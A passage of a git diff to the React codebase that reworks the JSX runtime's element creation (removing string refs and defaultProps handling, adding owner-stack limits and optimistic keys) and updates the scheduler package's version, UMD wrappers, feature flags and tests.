-      __DEV__ && enableOwnerStacks ? Error('react-stack-top-frame') : undefined,
-      __DEV__ && enableOwnerStacks ? createTask(getTaskName(type)) : undefined,
+      debugStackDEV,
+      __DEV__ &&
+        (trackActualOwner
+          ? createTask(getTaskName(type))
+          : unknownOwnerDebugTask),
     );
   }
 }
@@ -535,16 +438,31 @@ const didWarnAboutKeySpread = {};
  * @param {object} props
  * @param {string} key
  */
-export function jsxDEV(type, config, maybeKey, isStaticChildren, source, self) {
+export function jsxDEV(type, config, maybeKey, isStaticChildren) {
+  const trackActualOwner =
+    __DEV__ &&
+    ReactSharedInternals.recentlyCreatedOwnerStacks++ < ownerStackLimit;
+  let debugStackDEV = false;
+  if (__DEV__) {
+    if (trackActualOwner) {
+      const previousStackTraceLimit = Error.stackTraceLimit;
+      Error.stackTraceLimit = ownerStackTraceLimit;
+      debugStackDEV = Error('react-stack-top-frame');
+      Error.stackTraceLimit = previousStackTraceLimit;
+    } else {
+      debugStackDEV = unknownOwnerDebugStack;
+    }
+  }
   return jsxDEVImpl(
     type,
     config,
     maybeKey,
     isStaticChildren,
-    source,
-    self,
-    __DEV__ && enableOwnerStacks ? Error('react-stack-top-frame') : undefined,
-    __DEV__ && enableOwnerStacks ? createTask(getTaskName(type)) : undefined,
+    debugStackDEV,
+    __DEV__ &&
+      (trackActualOwner
+        ? createTask(getTaskName(type))
+        : unknownOwnerDebugTask),
   );
 }
 
@@ -553,78 +471,41 @@ function jsxDEVImpl(
   config,
   maybeKey,
   isStaticChildren,
-  source,
-  self,
   debugStack,
   debugTask,
 ) {
   if (__DEV__) {
-    if (!isValidElementType(type)) {
-      // This is an invalid element type.
-      //
-      // We warn in this case but don't throw. We expect the element creation to
-      // succeed and there will likely be errors in render.
-      let info = '';
-      if (
-        type === undefined ||
-        (typeof type === 'object' &&
-          type !== null &&
-          Object.keys(type).length === 0)
-      ) {
-        info +=
-          ' You likely forgot to export your component from the file ' +
-          "it's defined in, or you might have mixed up default and named imports.";
-      }
-
-      let typeString;
-      if (type === null) {
-        typeString = 'null';
-      } else if (isArray(type)) {
-        typeString = 'array';
-      } else if (type !== undefined && type.$$typeof === REACT_ELEMENT_TYPE) {
-        typeString = `<${getComponentNameFromType(type.type) || 'Unknown'} />`;
-        info =
-          ' Did you accidentally export a JSX literal instead of a component?';
-      } else {
-        typeString = typeof type;
-      }
+    // We don't warn for invalid element type here because with owner stacks,
+    // we error in the renderer. The renderer is the only one that knows what
+    // types are valid for this particular renderer so we let it error there.
+
+    // Skip key warning if the type isn't valid since our key validation logic
+    // doesn't expect a non-string/function type and can throw confusing
+    // errors. We don't want exception behavior to differ between dev and
+    // prod. (Rendering will throw with a helpful message and as soon as the
+    // type is fixed, the key warnings will appear.)
+    // With owner stacks, we no longer need the type here so this comment is
+    // no longer true. Which is why we can run this even for invalid types.
+    const children = config.children;
+    if (children !== undefined) {
+      if (isStaticChildren) {
+        if (isArray(children)) {
+          for (let i = 0; i < children.length; i++) {
+            validateChildKeys(children[i]);
+          }
 
-      console.error(
-        'React.jsx: type is invalid -- expected a string (for ' +
-          'built-in components) or a class/function (for composite ' +
-          'components) but got: %s.%s',
-        typeString,
-        info,
-      );
-    } else {
-      // This is a valid element type.
-
-      // Skip key warning if the type isn't valid since our key validation logic
-      // doesn't expect a non-string/function type and can throw confusing
-      // errors. We don't want exception behavior to differ between dev and
-      // prod. (Rendering will throw with a helpful message and as soon as the
-      // type is fixed, the key warnings will appear.)
-      const children = config.children;
-      if (children !== undefined) {
-        if (isStaticChildren) {
-          if (isArray(children)) {
-            for (let i = 0; i < children.length; i++) {
-              validateChildKeys(children[i], type);
-            }
-
-            if (Object.freeze) {
-              Object.freeze(children);
-            }
-          } else {
-            console.error(
-              'React.jsx: Static children should always be an array. ' +
-                'You are likely explicitly calling React.jsxs or React.jsxDEV. ' +
-                'Use the Babel transform instead.',
-            );
+          if (Object.freeze) {
+            Object.freeze(children);
           }
         } else {
-          validateChildKeys(children, type);
+          console.error(
+            'React.jsx: Static children should always be an array. ' +
+              'You are likely explicitly calling React.jsxs or React.jsxDEV. ' +
+              'Use the Babel transform instead.',
+          );
         }
+      } else {
+        validateChildKeys(children);
       }
     }
 
@@ -656,7 +537,6 @@ function jsxDEVImpl(
     }
 
     let key = null;
-    let ref = null;
 
     // Currently, key can be spread in as a prop. This causes a potential
     // issue if key is also explicitly declared (ie. <div {...props} key="Hi" />
@@ -665,37 +545,29 @@ function jsxDEVImpl(
     // <div {...props} key="Hi" />, because we aren't currently able to tell if
     // key is explicitly declared to be undefined or not.
     if (maybeKey !== undefined) {
-      if (__DEV__) {
-        checkKeyStringCoercion(maybeKey);
+      if (enableOptimisticKey && maybeKey === REACT_OPTIMISTIC_KEY) {
+        key = REACT_OPTIMISTIC_KEY;
+      } else {
+        if (__DEV__) {
+          checkKeyStringCoercion(maybeKey);
+        }
+        key = '' + maybeKey;
       }
-      key = '' + maybeKey;
     }
 
     if (hasValidKey(config)) {
-      if (__DEV__) {
-        checkKeyStringCoercion(config.key);
-      }
-      key = '' + config.key;
-    }
-
-    if (hasValidRef(config)) {
-      if (!enableRefAsProp) {
-        ref = config.ref;
-        if (!disableStringRefs) {
-          ref = coerceStringRef(ref, getOwner(), type);
+      if (enableOptimisticKey && config.key === REACT_OPTIMISTIC_KEY) {
+        key = REACT_OPTIMISTIC_KEY;
+      } else {
+        if (__DEV__) {
+          checkKeyStringCoercion(config.key);
         }
-      }
-      if (!disableStringRefs) {
-        warnIfStringRefCannotBeAutoConverted(config, self);
+        key = '' + config.key;
       }
     }
 
     let props;
-    if (
-      (enableFastJSXWithoutStringRefs ||
-        (enableFastJSXWithStringRefs && !('ref' in config))) &&
-      !('key' in config)
-    ) {
+    if (!('key' in config)) {
       // If key was not spread in, we can reuse the original props object. This
       // only works for `jsx`, not `createElement`, because `jsx` is a compiler
       // target and the compiler always passes a new object. For `createElement`,
@@ -713,52 +585,21 @@ function jsxDEVImpl(
       props = {};
       for (const propName in config) {
         // Skip over reserved prop names
-        if (propName !== 'key' && (enableRefAsProp || propName !== 'ref')) {
-          if (enableRefAsProp && !disableStringRefs && propName === 'ref') {
-            props.ref = coerceStringRef(config[propName], getOwner(), type);
-          } else {
-            props[propName] = config[propName];
-          }
-        }
-      }
-    }
-
-    if (!disableDefaultPropsExceptForClasses) {
-      // Resolve default props
-      if (type && type.defaultProps) {
-        const defaultProps = type.defaultProps;
-        for (const propName in defaultProps) {
-          if (props[propName] === undefined) {
-            props[propName] = defaultProps[propName];
-          }
+        if (propName !== 'key') {
+          props[propName] = config[propName];
         }
       }
     }
 
-    if (key || (!enableRefAsProp && ref)) {
+    if (key) {
       const displayName =
         typeof type === 'function'
           ? type.displayName || type.name || 'Unknown'
           : type;
-      if (key) {
-        defineKeyPropWarningGetter(props, displayName);
-      }
-      if (!enableRefAsProp && ref) {
-        defineRefPropWarningGetter(props, displayName);
-      }
+      defineKeyPropWarningGetter(props, displayName);
     }
 
-    return ReactElement(
-      type,
-      key,
-      ref,
-      self,
-      source,
-      getOwner(),
-      props,
-      debugStack,
-      debugTask,
-    );
+    return ReactElement(type, key, props, getOwner(), debugStack, debugTask);
   }
 }
 
@@ -768,59 +609,17 @@ function jsxDEVImpl(
  */
 export function createElement(type, config, children) {
   if (__DEV__) {
-    if (!enableOwnerStacks && !isValidElementType(type)) {
-      // This is just an optimistic check that provides a better stack trace before
-      // owner stacks. It's really up to the renderer if it's a valid element type.
-      // When owner stacks are enabled, we instead warn in the renderer and it'll
-      // have the stack trace of the JSX element anyway.
-      //
-      // This is an invalid element type.
-      //
-      // We warn in this case but don't throw. We expect the element creation to
-      // succeed and there will likely be errors in render.
-      let info = '';
-      if (
-        type === undefined ||
-        (typeof type === 'object' &&
-          type !== null &&
-          Object.keys(type).length === 0)
-      ) {
-        info +=
-          ' You likely forgot to export your component from the file ' +
-          "it's defined in, or you might have mixed up default and named imports.";
-      }
+    // We don't warn for invalid element type here because with owner stacks,
+    // we error in the renderer. The renderer is the only one that knows what
+    // types are valid for this particular renderer so we let it error there.
 
-      let typeString;
-      if (type === null) {
-        typeString = 'null';
-      } else if (isArray(type)) {
-        typeString = 'array';
-      } else if (type !== undefined && type.$$typeof === REACT_ELEMENT_TYPE) {
-        typeString = `<${getComponentNameFromType(type.type) || 'Unknown'} />`;
-        info =
-          ' Did you accidentally export a JSX literal instead of a component?';
-      } else {
-        typeString = typeof type;
-      }
-
-      console.error(
-        'React.createElement: type is invalid -- expected a string (for ' +
-          'built-in components) or a class/function (for composite ' +
-          'components) but got: %s.%s',
-        typeString,
-        info,
-      );
-    } else {
-      // This is a valid element type.
-
-      // Skip key warning if the type isn't valid since our key validation logic
-      // doesn't expect a non-string/function type and can throw confusing
-      // errors. We don't want exception behavior to differ between dev and
-      // prod. (Rendering will throw with a helpful message and as soon as the
-      // type is fixed, the key warnings will appear.)
-      for (let i = 2; i < arguments.length; i++) {
-        validateChildKeys(arguments[i], type);
-      }
+    // Skip key warning if the type isn't valid since our key validation logic
+    // doesn't expect a non-string/function type and can throw confusing
+    // errors. We don't want exception behavior to differ between dev and
+    // prod. (Rendering will throw with a helpful message and as soon as the
+    // type is fixed, the key warnings will appear.)
+    for (let i = 2; i < arguments.length; i++) {
+      validateChildKeys(arguments[i]);
     }
 
     // Unlike the jsx() runtime, createElement() doesn't warn about key spread.
@@ -832,7 +631,6 @@ export function createElement(type, config, children) {
   const props = {};
 
   let key = null;
-  let ref = null;
 
   if (config != null) {
     if (__DEV__) {
@@ -855,24 +653,16 @@ export function createElement(type, config, children) {
       }
     }
 
-    if (hasValidRef(config)) {
-      if (!enableRefAsProp) {
-        ref = config.ref;
-        if (!disableStringRefs) {
-          ref = coerceStringRef(ref, getOwner(), type);
+    if (hasValidKey(config)) {
+      if (enableOptimisticKey && config.key === REACT_OPTIMISTIC_KEY) {
+        key = REACT_OPTIMISTIC_KEY;
+      } else {
+        if (__DEV__) {
+          checkKeyStringCoercion(config.key);
         }
-      }
-
-      if (__DEV__ && !disableStringRefs) {
-        warnIfStringRefCannotBeAutoConverted(config, config.__self);
+        key = '' + config.key;
       }
     }
-    if (hasValidKey(config)) {
-      if (__DEV__) {
-        checkKeyStringCoercion(config.key);
-      }
-      key = '' + config.key;
-    }
 
     // Remaining properties are added to a new props object
     for (propName in config) {
@@ -880,7 +670,6 @@ export function createElement(type, config, children) {
         hasOwnProperty.call(config, propName) &&
         // Skip over reserved prop names
         propName !== 'key' &&
-        (enableRefAsProp || propName !== 'ref') &&
         // Even though we don't use these anymore in the runtime, we don't want
         // them to appear as props, so in createElement we filter them out.
         // We don't have to do this in the jsx() runtime because the jsx()
@@ -888,11 +677,7 @@ export function createElement(type, config, children) {
         propName !== '__self' &&
         propName !== '__source'
       ) {
-        if (enableRefAsProp && !disableStringRefs && propName === 'ref') {
-          props.ref = coerceStringRef(config[propName], getOwner(), type);
-        } else {
-          props[propName] = config[propName];
-        }
+        props[propName] = config[propName];
       }
     }
   }
@@ -925,30 +710,38 @@ export function createElement(type, config, children) {
     }
   }
   if (__DEV__) {
-    if (key || (!enableRefAsProp && ref)) {
+    if (key) {
       const displayName =
         typeof type === 'function'
           ? type.displayName || type.name || 'Unknown'
           : type;
-      if (key) {
-        defineKeyPropWarningGetter(props, displayName);
-      }
-      if (!enableRefAsProp && ref) {
-        defineRefPropWarningGetter(props, displayName);
-      }
+      defineKeyPropWarningGetter(props, displayName);
+    }
+  }
+  const trackActualOwner =
+    __DEV__ &&
+    ReactSharedInternals.recentlyCreatedOwnerStacks++ < ownerStackLimit;
+  let debugStackDEV = false;
+  if (__DEV__) {
+    if (trackActualOwner) {
+      const previousStackTraceLimit = Error.stackTraceLimit;
+      Error.stackTraceLimit = ownerStackTraceLimit;
+      debugStackDEV = Error('react-stack-top-frame');
+      Error.stackTraceLimit = previousStackTraceLimit;
+    } else {
+      debugStackDEV = unknownOwnerDebugStack;
     }
   }
-
   return ReactElement(
     type,
     key,
-    ref,
-    undefined,
-    undefined,
-    getOwner(),
     props,
-    __DEV__ && enableOwnerStacks ? Error('react-stack-top-frame') : undefined,
-    __DEV__ && enableOwnerStacks ? createTask(getTaskName(type)) : undefined,
+    getOwner(),
+    debugStackDEV,
+    __DEV__ &&
+      (trackActualOwner
+        ? createTask(getTaskName(type))
+        : unknownOwnerDebugTask),
   );
 }
 
@@ -956,19 +749,16 @@ export function cloneAndReplaceKey(oldElement, newKey) {
   const clonedElement = ReactElement(
     oldElement.type,
     newKey,
-    // When enableRefAsProp is on, this argument is ignored. This check only
-    // exists to avoid the `ref` access warning.
-    enableRefAsProp ? null : oldElement.ref,
-    undefined,
-    undefined,
-    !__DEV__ && disableStringRefs ? undefined : oldElement._owner,
     oldElement.props,
-    __DEV__ && enableOwnerStacks ? oldElement._debugStack : undefined,
-    __DEV__ && enableOwnerStacks ? oldElement._debugTask : undefined,
+    !__DEV__ ? undefined : oldElement._owner,
+    __DEV__ && oldElement._debugStack,
+    __DEV__ && oldElement._debugTask,
   );
   if (__DEV__) {
     // The cloned element should inherit the original element's key validation.
-    clonedElement._store.validated = oldElement._store.validated;
+    if (oldElement._store) {
+      clonedElement._store.validated = oldElement._store.validated;
+    }
   }
   return clonedElement;
 }
@@ -991,44 +781,31 @@ export function cloneElement(element, config, children) {
 
   // Reserved names are extracted
   let key = element.key;
-  let ref = enableRefAsProp ? null : element.ref;
 
   // Owner will be preserved, unless ref is overridden
-  let owner = !__DEV__ && disableStringRefs ? undefined : element._owner;
+  let owner = !__DEV__ ? undefined : element._owner;
 
   if (config != null) {
     if (hasValidRef(config)) {
-      owner = __DEV__ || !disableStringRefs ? getOwner() : undefined;
-      if (!enableRefAsProp) {
-        // Silently steal the ref from the parent.
-        ref = config.ref;
-        if (!disableStringRefs) {
-          ref = coerceStringRef(ref, owner, element.type);
-        }
-      }
+      owner = __DEV__ ? getOwner() : undefined;
     }
     if (hasValidKey(config)) {
-      if (__DEV__) {
-        checkKeyStringCoercion(config.key);
+      if (enableOptimisticKey && config.key === REACT_OPTIMISTIC_KEY) {
+        key = REACT_OPTIMISTIC_KEY;
+      } else {
+        if (__DEV__) {
+          checkKeyStringCoercion(config.key);
+        }
+        key = '' + config.key;
       }
-      key = '' + config.key;
     }
 
     // Remaining properties override existing props
-    let defaultProps;
-    if (
-      !disableDefaultPropsExceptForClasses &&
-      element.type &&
-      element.type.defaultProps
-    ) {
-      defaultProps = element.type.defaultProps;
-    }
     for (propName in config) {
       if (
         hasOwnProperty.call(config, propName) &&
         // Skip over reserved prop names
         propName !== 'key' &&
-        (enableRefAsProp || propName !== 'ref') &&
         // ...and maybe these, too, though we currently rely on them for
         // warnings and debug information in dev. Need to decide if we're OK
         // with dropping them. In the jsx() runtime it's not an issue because
@@ -1040,22 +817,9 @@ export function cloneElement(element, config, children) {
         // Undefined `ref` is ignored by cloneElement. We treat it the same as
         // if the property were missing. This is mostly for
         // backwards compatibility.
-        !(enableRefAsProp && propName === 'ref' && config.ref === undefined)
+        !(propName === 'ref' && config.ref === undefined)
       ) {
-        if (
-          !disableDefaultPropsExceptForClasses &&
-          config[propName] === undefined &&
-          defaultProps !== undefined
-        ) {
-          // Resolve default props
-          props[propName] = defaultProps[propName];
-        } else {
-          if (enableRefAsProp && !disableStringRefs && propName === 'ref') {
-            props.ref = coerceStringRef(config[propName], owner, element.type);
-          } else {
-            props[propName] = config[propName];
-          }
-        }
+        props[propName] = config[propName];
       }
     }
   }
@@ -1076,17 +840,14 @@ export function cloneElement(element, config, children) {
   const clonedElement = ReactElement(
     element.type,
     key,
-    ref,
-    undefined,
-    undefined,
-    owner,
     props,
-    __DEV__ && enableOwnerStacks ? element._debugStack : undefined,
-    __DEV__ && enableOwnerStacks ? element._debugTask : undefined,
+    owner,
+    __DEV__ && element._debugStack,
+    __DEV__ && element._debugTask,
   );
 
   for (let i = 2; i < arguments.length; i++) {
-    validateChildKeys(arguments[i], clonedElement.type);
+    validateChildKeys(arguments[i]);
   }
 
   return clonedElement;
@@ -1101,41 +862,21 @@ export function cloneElement(element, config, children) {
  * @param {ReactNode} node Statically passed child of any type.
  * @param {*} parentType node's parent's type.
  */
-function validateChildKeys(node, parentType) {
+function validateChildKeys(node) {
   if (__DEV__) {
-    if (typeof node !== 'object' || !node) {
-      return;
-    }
-    if (node.$$typeof === REACT_CLIENT_REFERENCE) {
-      // This is a reference to a client component so it's unknown.
-    } else if (isArray(node)) {
-      for (let i = 0; i < node.length; i++) {
-        const child = node[i];
-        if (isValidElement(child)) {
-          validateExplicitKey(child, parentType);
-        }
-      }
-    } else if (isValidElement(node)) {
-      // This element was passed in a valid location.
+    // Mark elements as being in a valid static child position so they
+    // don't need keys.
+    if (isValidElement(node)) {
       if (node._store) {
         node._store.validated = 1;
       }
-    } else {
-      const iteratorFn = getIteratorFn(node);
-      if (typeof iteratorFn === 'function') {
-        // Entry iterators used to provide implicit keys,
-        // but now we print a separate warning for them later.
-        if (iteratorFn !== node.entries) {
-          const iterator = iteratorFn.call(node);
-          if (iterator !== node) {
-            let step;
-            while (!(step = iterator.next()).done) {
-              if (isValidElement(step.value)) {
-                validateExplicitKey(step.value, parentType);
-              }
-            }
-          }
+    } else if (isLazyType(node)) {
+      if (node._payload.status === 'fulfilled') {
+        if (isValidElement(node._payload.value) && node._payload.value._store) {
+          node._payload.value._store.validated = 1;
         }
+      } else if (node._store) {
+        node._store.validated = 1;
       }
     }
   }
@@ -1156,185 +897,10 @@ export function isValidElement(object) {
   );
 }
 
-const ownerHasKeyUseWarning = {};
-
-/**
- * Warn if the element doesn't have an explicit key assigned to it.
- * This element is in an array. The array could grow and shrink or be
- * reordered. All children that haven't already been validated are required to
- * have a "key" property assigned to it. Error statuses are cached so a warning
- * will only be shown once.
- *
- * @internal
- * @param {ReactElement} element Element that requires a key.
- * @param {*} parentType element's parent's type.
- */
-function validateExplicitKey(element, parentType) {
-  if (enableOwnerStacks) {
-    // Skip. Will verify in renderer instead.
-    return;
-  }
-  if (__DEV__) {
-    if (!element._store || element._store.validated || element.key != null) {
-      return;
-    }
-    element._store.validated = 1;
-
-    const currentComponentErrorInfo = getCurrentComponentErrorInfo(parentType);
-    if (ownerHasKeyUseWarning[currentComponentErrorInfo]) {
-      return;
-    }
-    ownerHasKeyUseWarning[currentComponentErrorInfo] = true;
-
-    // Usually the current owner is the offender, but if it accepts children as a
-    // property, it may be the creator of the child that's responsible for
-    // assigning it a key.
-    let childOwner = '';
-    if (element && element._owner != null && element._owner !== getOwner()) {
-      let ownerName = null;
-      if (typeof element._owner.tag === 'number') {
-        ownerName = getComponentNameFromType(element._owner.type);
-      } else if (typeof element._owner.name === 'string') {
-        ownerName = element._owner.name;
-      }
-      // Give the component that originally created this child.
-      childOwner = ` It was passed a child from ${ownerName}.`;
-    }
-
-    const prevGetCurrentStack = ReactSharedInternals.getCurrentStack;
-    ReactSharedInternals.getCurrentStack = function () {
-      const owner = element._owner;
-      // Add an extra top frame while an element is being validated
-      let stack = describeUnknownElementTypeFrameInDEV(
-        element.type,
-        owner ? owner.type : null,
-      );
-      // Delegate to the injected renderer-specific implementation
-      if (prevGetCurrentStack) {
-        stack += prevGetCurrentStack() || '';
-      }
-      return stack;
-    };
-    console.error(
-      'Each child in a list should have a unique "key" prop.' +
-        '%s%s See https://react.dev/link/warning-keys for more information.',
-      currentComponentErrorInfo,
-      childOwner,
-    );
-    ReactSharedInternals.getCurrentStack = prevGetCurrentStack;
-  }
-}
-
-function getCurrentComponentErrorInfo(parentType) {
-  if (__DEV__) {
-    let info = '';
-    const owner = getOwner();
-    if (owner) {
-      const name = getComponentNameFromType(owner.type);
-      if (name) {
-        info = '\n\nCheck the render method of `' + name + '`.';
-      }
-    }
-    if (!info) {
-      const parentName = getComponentNameFromType(parentType);
-      if (parentName) {
-        info = `\n\nCheck the top-level render call using <${parentName}>.`;
-      }
-    }
-    return info;
-  }
-}
-
-function coerceStringRef(mixedRef, owner, type) {
-  if (disableStringRefs) {
-    return mixedRef;
-  }
-
-  let stringRef;
-  if (typeof mixedRef === 'string') {
-    stringRef = mixedRef;
-  } else {
-    if (typeof mixedRef === 'number' || typeof mixedRef === 'boolean') {
-      if (__DEV__) {
-        checkPropStringCoercion(mixedRef, 'ref');
-      }
-      stringRef = '' + mixedRef;
-    } else {
-      return mixedRef;
-    }
-  }
-
-  const callback = stringRefAsCallbackRef.bind(null, stringRef, type, owner);
-  // This is used to check whether two callback refs conceptually represent
-  // the same string ref, and can therefore be reused by the reconciler. Needed
-  // for backwards compatibility with old Meta code that relies on string refs
-  // not being reattached on every render.
-  callback.__stringRef = stringRef;
-  callback.__type = type;
-  callback.__owner = owner;
-  return callback;
-}
-
-function stringRefAsCallbackRef(stringRef, type, owner, value) {
-  if (disableStringRefs) {
-    return;
-  }
-  if (!owner) {
-    throw new Error(
-      `Element ref was specified as a string (${stringRef}) but no owner was set. This could happen for one of` +
-        ' the following reasons:\n' +
-        '1. You may be adding a ref to a function component\n' +
-        "2. You may be adding a ref to a component that was not created inside a component's render method\n" +
-        '3. You have multiple copies of React loaded\n' +
-        'See https://react.dev/link/refs-must-have-owner for more information.',
-    );
-  }
-  if (owner.tag !== ClassComponent) {
-    throw new Error(
-      'Function components cannot have string refs. ' +
-        'We recommend using useRef() instead. ' +
-        'Learn more about using refs safely here: ' +
-        'https://react.dev/link/strict-mode-string-ref',
-    );
-  }
-
-  if (__DEV__) {
-    if (
-      // Will already warn with "Function components cannot be given refs"
-      !(typeof type === 'function' && !isReactClass(type))
-    ) {
-      const componentName = getComponentNameFromFiber(owner) || 'Component';
-      if (!didWarnAboutStringRefs[componentName]) {
-        console.error(
-          'Component "%s" contains the string ref "%s". Support for string refs ' +
-            'will be removed in a future major release. We recommend using ' +
-            'useRef() or createRef() instead. ' +
-            'Learn more about using refs safely here: ' +
-            'https://react.dev/link/strict-mode-string-ref',
-          componentName,
-          stringRef,
-        );
-        didWarnAboutStringRefs[componentName] = true;
-      }
-    }
-  }
-
-  const inst = owner.stateNode;
-  if (!inst) {
-    throw new Error(
-      `Missing owner for string ref ${stringRef}. This error is likely caused by a ` +
-        'bug in React. Please file an issue.',
-    );
-  }
-
-  const refs = inst.refs;
-  if (value === null) {
-    delete refs[stringRef];
-  } else {
-    refs[stringRef] = value;
-  }
-}
-
-function isReactClass(type) {
-  return type.prototype && type.prototype.isReactComponent;
+export function isLazyType(object) {
+  return (
+    typeof object === 'object' &&
+    object !== null &&
+    object.$$typeof === REACT_LAZY_TYPE
+  );
 }
diff --git a/packages/scheduler/npm/umd/scheduler.development.js b/packages/scheduler/npm/umd/scheduler.development.js
index 1b9682d8c537..c2d9bcc39e1a 100644
--- a/packages/scheduler/npm/umd/scheduler.development.js
+++ b/packages/scheduler/npm/umd/scheduler.development.js
@@ -7,8 +7,6 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-/* eslint-disable max-len */
-
 'use strict';
 
 (function (global, factory) {
@@ -16,8 +14,8 @@
   typeof exports === 'object' && typeof module !== 'undefined'
     ? (module.exports = factory(require('react')))
     : typeof define === 'function' && define.amd // eslint-disable-line no-undef
-    ? define(['react'], factory) // eslint-disable-line no-undef
-    : (global.Scheduler = factory(global));
+      ? define(['react'], factory) // eslint-disable-line no-undef
+      : (global.Scheduler = factory(global));
 })(this, function (global) {
   function unstable_now() {
     return global.React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.Scheduler.unstable_now.apply(
diff --git a/packages/scheduler/npm/umd/scheduler.production.min.js b/packages/scheduler/npm/umd/scheduler.production.min.js
index e6a5a94fc39a..4aa4caaea91c 100644
--- a/packages/scheduler/npm/umd/scheduler.production.min.js
+++ b/packages/scheduler/npm/umd/scheduler.production.min.js
@@ -7,8 +7,6 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-/* eslint-disable max-len */
-
 'use strict';
 
 (function (global, factory) {
@@ -16,8 +14,8 @@
   typeof exports === 'object' && typeof module !== 'undefined'
     ? (module.exports = factory(require('react')))
     : typeof define === 'function' && define.amd // eslint-disable-line no-undef
-    ? define(['react'], factory) // eslint-disable-line no-undef
-    : (global.Scheduler = factory(global));
+      ? define(['react'], factory) // eslint-disable-line no-undef
+      : (global.Scheduler = factory(global));
 })(this, function (global) {
   function unstable_now() {
     return global.React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.Scheduler.unstable_now.apply(
diff --git a/packages/scheduler/npm/umd/scheduler.profiling.min.js b/packages/scheduler/npm/umd/scheduler.profiling.min.js
index e6a5a94fc39a..4aa4caaea91c 100644
--- a/packages/scheduler/npm/umd/scheduler.profiling.min.js
+++ b/packages/scheduler/npm/umd/scheduler.profiling.min.js
@@ -7,8 +7,6 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-/* eslint-disable max-len */
-
 'use strict';
 
 (function (global, factory) {
@@ -16,8 +14,8 @@
   typeof exports === 'object' && typeof module !== 'undefined'
     ? (module.exports = factory(require('react')))
     : typeof define === 'function' && define.amd // eslint-disable-line no-undef
-    ? define(['react'], factory) // eslint-disable-line no-undef
-    : (global.Scheduler = factory(global));
+      ? define(['react'], factory) // eslint-disable-line no-undef
+      : (global.Scheduler = factory(global));
 })(this, function (global) {
   function unstable_now() {
     return global.React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.Scheduler.unstable_now.apply(
diff --git a/packages/scheduler/package.json b/packages/scheduler/package.json
index 653f57d53346..9c94ef2b3572 100644
--- a/packages/scheduler/package.json
+++ b/packages/scheduler/package.json
@@ -1,6 +1,6 @@
 {
   "name": "scheduler",
-  "version": "0.23.0",
+  "version": "0.28.0",
   "description": "Cooperative scheduler for the browser environment.",
   "repository": {
     "type": "git",
diff --git a/packages/scheduler/src/SchedulerFeatureFlags.js b/packages/scheduler/src/SchedulerFeatureFlags.js
index c86de5e35dc2..6828d0105ebb 100644
--- a/packages/scheduler/src/SchedulerFeatureFlags.js
+++ b/packages/scheduler/src/SchedulerFeatureFlags.js
@@ -7,10 +7,12 @@
  * @flow strict
  */
 
-export const enableSchedulerDebugging = false;
 export const enableProfiling = false;
 export const frameYieldMs = 5;
 
 export const userBlockingPriorityTimeout = 250;
 export const normalPriorityTimeout = 5000;
 export const lowPriorityTimeout = 10000;
+export const enableRequestPaint = true;
+
+export const enableAlwaysYieldScheduler = __EXPERIMENTAL__;
diff --git a/packages/scheduler/src/SchedulerMinHeap.js b/packages/scheduler/src/SchedulerMinHeap.js
index 734c4c12b44e..da997bad3577 100644
--- a/packages/scheduler/src/SchedulerMinHeap.js
+++ b/packages/scheduler/src/SchedulerMinHeap.js
@@ -31,7 +31,9 @@ export function pop<T: Node>(heap: Heap<T>): T | null {
   const first = heap[0];
   const last = heap.pop();
   if (last !== first) {
+    // $FlowFixMe[incompatible-type]
     heap[0] = last;
+    // $FlowFixMe[incompatible-call]
     siftDown(heap, last, 0);
   }
   return first;
diff --git a/packages/scheduler/src/__tests__/Scheduler-test.js b/packages/scheduler/src/__tests__/Scheduler-test.js
index d2695d7e0460..afc998176298 100644
--- a/packages/scheduler/src/__tests__/Scheduler-test.js
+++ b/packages/scheduler/src/__tests__/Scheduler-test.js
@@ -8,8 +8,6 @@
  * @jest-environment node
  */
 
-/* eslint-disable no-for-of-loops/no-for-of-loops */
-
 'use strict';
 
 let Scheduler;
@@ -20,6 +18,7 @@ let scheduleCallback;
 let requestPaint;
 let shouldYield;
 let NormalPriority;
+let SchedulerFeatureFlags;
 
 // The Scheduler implementation uses browser APIs like `MessageChannel` and
 // `setTimeout` to schedule work on the main thread. Most of our tests treat
@@ -44,6 +43,7 @@ describe('SchedulerBrowser', () => {
     NormalPriority = Scheduler.unstable_NormalPriority;
     requestPaint = Scheduler.unstable_requestPaint;
     shouldYield = Scheduler.unstable_shouldYield;
+    SchedulerFeatureFlags = require('../SchedulerFeatureFlags');
   });
 
   afterEach(() => {
@@ -185,7 +185,7 @@ describe('SchedulerBrowser', () => {
   it('task with continuation', () => {
     scheduleCallback(NormalPriority, () => {
       runtime.log('Task');
-      // Request paint so that we yield at the end of the frame interval
+      // Request paint so that we yield immediately
       requestPaint();
       while (!Scheduler.unstable_shouldYield()) {
         runtime.advanceTime(1);
@@ -201,7 +201,10 @@ describe('SchedulerBrowser', () => {
     runtime.assertLog([
       'Message Event',
       'Task',
-      gate(flags => (flags.www ? 'Yield at 10ms' : 'Yield at 5ms')),
+      gate(flags => flags.enableAlwaysYieldScheduler) ||
+      !SchedulerFeatureFlags.enableRequestPaint
+        ? gate(flags => (flags.www ? 'Yield at 10ms' : 'Yield at 5ms'))
+        : 'Yield at 0ms',
       'Post Message',
     ]);
 
@@ -218,7 +221,13 @@ describe('SchedulerBrowser', () => {
     });
     runtime.assertLog(['Post Message']);
     runtime.fireMessageEvent();
-    runtime.assertLog(['Message Event', 'A', 'B']);
+    if (gate(flags => flags.enableAlwaysYieldScheduler)) {
+      runtime.assertLog(['Message Event', 'A', 'Post Message']);
+      runtime.fireMessageEvent();
+      runtime.assertLog(['Message Event', 'B']);
+    } else {
+      runtime.assertLog(['Message Event', 'A', 'B']);
+    }
   });
 
   it('multiple tasks with a yield in between', () => {
@@ -265,6 +274,10 @@ describe('SchedulerBrowser', () => {
     runtime.assertLog(['Message Event', 'Oops!', 'Post Message']);
 
     runtime.fireMessageEvent();
+    if (gate(flags => flags.enableAlwaysYieldScheduler)) {
+      runtime.assertLog(['Message Event', 'Post Message']);
+      runtime.fireMessageEvent();
+    }
     runtime.assertLog(['Message Event', 'Yay']);
   });
 
